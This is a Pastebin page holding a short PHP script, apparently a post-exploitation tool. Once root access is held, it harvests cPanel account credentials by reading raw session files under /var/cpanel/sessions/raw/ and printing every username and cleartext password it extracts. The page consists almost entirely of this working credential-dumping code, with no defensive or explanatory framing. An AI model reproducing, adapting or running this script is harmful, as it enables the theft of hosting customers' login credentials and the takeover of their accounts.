daily pastebin goal
31%
SHARE
TWEET

Untitled

a guest Apr 20th, 2018 33 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/local/cpanel/3rdparty/bin/php
  2. <?php
  3. echo "
  4. [*]-----------------------------------------------------------------------[*]
  5. [+] Script Name    : Cpanel Password
  6. [+] By             : RAB3OUN
  7. [*]-----------------------------------------------------------------------[*]
  8. \n";
  9.  
  10. if(getmyuid() != 0){ die('u need 2 be root to run this script'); }
  11.  
  12. foreach(glob('/var/cpanel/sessions/raw/*') as $file){
  13.     $content = file_get_contents($file);
  14.     if(preg_match("/user=(.*)/" , $content , $matches1) && preg_match("/pass=(.*)/" , $content , $matches2)){
  15.         $results[] = "USER: {$matches1[1]}\nPASS: {$matches2[1]}\n\n";
  16.     }
  17. }
  18.  
  19. $results = array_unique($results);
  20. echo implode('',$results);
  21. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand